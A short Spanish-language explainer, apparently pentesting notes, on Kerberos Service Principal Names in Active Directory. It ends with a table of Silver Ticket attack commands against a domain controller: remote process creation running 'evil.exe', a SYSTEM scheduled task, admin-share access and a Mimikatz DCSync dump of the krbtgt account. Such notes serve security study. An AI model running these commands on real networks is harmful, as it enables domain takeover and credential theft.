Service Principal Name (SPN)

Un Service Principal Name (SPN) es un identificador único asignado a cada instancia de servicio que se ejecuta en un servidor y utiliza el protocolo de autenticación Kerberos. Los SPN se utilizan en los sistemas de Active Directory (AD) para ayudar a los clientes a asociar un servicio específico con una cuenta de inicio de sesión y autenticar de forma segura los servicios de red.

Aquí hay algunos de los SPN más comunes y sus usos asociados:

1. HTTP: Se utiliza para servicios web o aplicaciones que funcionan sobre HTTP/S. Es importante para la autenticación en aplicaciones web y servicios que utilizan Kerberos para la autenticación integrada de Windows.

2. MSSQLSvc: Utilizado por las instancias de Microsoft SQL Server. Este es crítico para la autenticación y las conexiones seguras a bases de datos SQL.

3. WSMAN: Utilizado para la administración basada en estándares de hardware y sistemas operativos (Windows Remote Management).

4. TERMSRV: Utilizado por los servicios de Terminal Server (Remote Desktop Services). Es vital para la autenticación en sesiones de escritorio remoto.

5. CIFS: Utilizado para el sistema de archivos de Internet común, relacionado con el intercambio de archivos y los servicios de impresión.

6. HOST: Un SPN genérico que representa cualquier servicio predeterminado en un sistema operativo Windows.

7. SMTPSvc: Para el servicio de transporte de correo simple, utilizado en la autenticación de servidores de correo electrónico.

Posibles vectores de ataque:

Tipo de servicio	Service Silver Tickets	Comando relacionado al ataque
WMI	HOST + RPCSS	wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell Remoting	CIFS + HTTP + (wsman?)	New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRM	HTTP + wsman	New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled Tasks	HOST	schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS)	CIFS	dir \\dc01\c$
LDAP operations including Mimikatz DCSync	LDAP	lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration Tools	RPCSS + LDAP + CIFS	/